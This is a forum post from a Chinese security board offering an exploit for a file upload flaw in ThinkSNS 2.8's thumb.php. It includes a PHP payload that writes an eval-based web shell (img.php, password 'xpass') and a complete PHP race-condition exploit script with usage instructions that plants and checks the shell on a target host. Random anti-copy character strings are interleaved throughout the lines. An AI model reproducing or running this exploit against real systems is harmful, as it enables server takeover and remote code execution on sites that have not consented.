找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2117|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本
% |' R  J2 p1 V; w0 f存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)3 l) q2 k+ I4 `' s
漏洞文件( p* N# [: K6 Y7 h2 K
存在漏洞的文件为:thumb.php
0 s& |  z7 z- h9 h4 {2 G. o( D作者:韦鲲鹏# f0 k( }, L; n: e" f
1、        准备如下PHP文件并上传到服务器(自己的)。
8 Z1 `: o3 e% z1 \文件内容如下:
: A# ~- O7 |' ~: Q1 n/ {: S% w- o<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
. k, b5 b" H* v& ^2、        计算出临时的文件名:* S3 m% j& L- z! @( m+ c
这里我们可以看文件的99行(刚刚是不是没注意呀!)。8 z5 e( T1 p0 B/ n

4 t; z' p0 h! n" T6 ]3、        上传临时文件。* ]/ w) L4 Y" V3 E$ u; m1 @" H
4、        访问临时文件。% j+ d4 s0 b* m0 O. W3 {
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。); ?5 `9 }  W$ s! i
Exploit文件内容如下:(这个我就不详细解释了)
8 K: ]/ v# J. P6 k0 E  k<?php1 p3 Q( j6 Y. a* C! e; l2 Z' S. T
error_reporting(0);
: P* j2 |& \/ U& \4 mset_time_limit(0);4 w3 {9 W  q$ K
ini_set(“default_socket_timeout”, 5);
8 H$ i, b& ]( E% o' t7 Zfunction http_send($host, $port, $headers) {
' c, d! u( e/ O$ Y% ^$fp = fsockopen($host, $port);
" J& c5 _" V. |if (!$fp) die(‘Connection -> fail’);. g2 s0 a! K) i1 o
fputs($fp, $headers);/ J5 _% p0 H) [( z) l, f% i
return $fp;0 j% `3 I6 y# Z! P6 W
}
# E( Y' s8 }* ~1 zfunction http_recv($fp) {; b! z$ o: Z6 ]- M( s0 f1 d! W
$ret=”";
  {0 n- E; G4 n6 \while (!feof($fp))
/ _+ C! |2 v- d1 [  @$ret.= fgets($fp, 1024);, a; r- B# y$ u- p( ~! w9 N$ t9 ~, P9 @7 m
fclose($fp);
9 t5 X6 H2 |% G! q. F$ q$ sreturn $ret;
. ?. X, C% I; E, J% P9 p+ M}  H, O, s* F/ `: g1 Q0 H+ K: j
print “\n#  ThinkSns Arbitrary File Upload   #\n”;2 m, ~5 Y' V, Q% C- f8 g$ W& E
print “# Discovered by 韦鲲鹏 #\n\n”;
6 }4 D: Z/ u+ n7 z6 |% fif ($argc < 4) {
5 [( X/ _0 G8 Sprint “Usage:   php <host> <path> <romote_url>\n”;
; k- m9 R! K4 {* H5 W3 Q. n( _9 Rprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;5 L$ g0 J  h* l- ]1 U
die();
" O, K( {- x8 C9 r}( A- `" D  C& H$ b/ i, H  X  {# {
$host = $argv[1];/ H$ G' p' x) ^  I
$path = $argv[2];
5 e( Z) p9 R2 ^$ b$ a5 m2 I* i$url = $argv[3];, o- h& c- ^* `" R! f2 |4 \! M
$i=0;
3 A0 Q% k: E* \) \//上传数据包
) c( O0 P; O' b' I6 k4 T$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;) \& n* K; @, z9 O' S# K
$headers_up .= “Host: “.$host.”\r\n”;
0 [% ^0 R! i( ^. F. e! n- ]) k$headers_up .= “Connection: close\r\n\r\n”;
. A! z( O* B3 k* r% M/ W5 ]8 y4 qecho $headers_up;6 N: w/ L$ I; E/ a0 L% j8 y/ i
//临时文件访问数据包
; ?5 t# E1 H3 g. i$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;- G0 `+ B) M5 |
$headers .= “Host: “.$host.”\r\n”;$ S* j+ e- H$ l* x, S- o6 T
$headers .= “Connection: close\r\n\r\n”;* k. a# D9 C1 S( O+ t" A
echo $headers;) o, i1 R9 y9 W; f
while(++$i<10) {# D8 |8 j: w# H2 z% s
fclose(http_send($host, 80, $headers));) r. g6 k" E8 a# {5 j; H
}
- s2 h0 j6 l  i/ s  O) {1 Afclose(http_send($host, 80, $headers_up));7 C( v1 f3 d6 L1 w/ f' O
while(++$i<50) {
# G  T5 }% P* f8 m. r$ cfclose(http_send($host, 80, $headers));* A& r" f: Z# D# A  y7 G2 i
}/ K, Q3 O5 j# q8 m& Y* v# W: H
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;! F& F3 s9 J) }3 a2 h. w, M
$headers .= “Host: “.$host.”\r\n”;
$ G6 F9 w  ^& A5 Q. j; t! o$headers .= “Connection: close\r\n\r\n”;. R0 Y6 b: y& r: J' {
$res=http_recv(http_send($host, 80, $headers));
8 \0 a  e8 n) |, P  Rif(preg_match(‘/200 OK/’,$res)) {
* c8 B$ d( Y2 S( H( K  U9 z$ x) ?: nprint “Success!\n\n”;
* |' t, k' _. X: U& a} else {$ K) _$ ^! e. R  g) n0 Q7 u4 l
print “Fail!\n\n”;6 F* U. p, @% y
}/ S3 A+ P" t0 j; B0 v# a% R
?>. z1 b8 ]8 ]! H$ G; U6 J
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表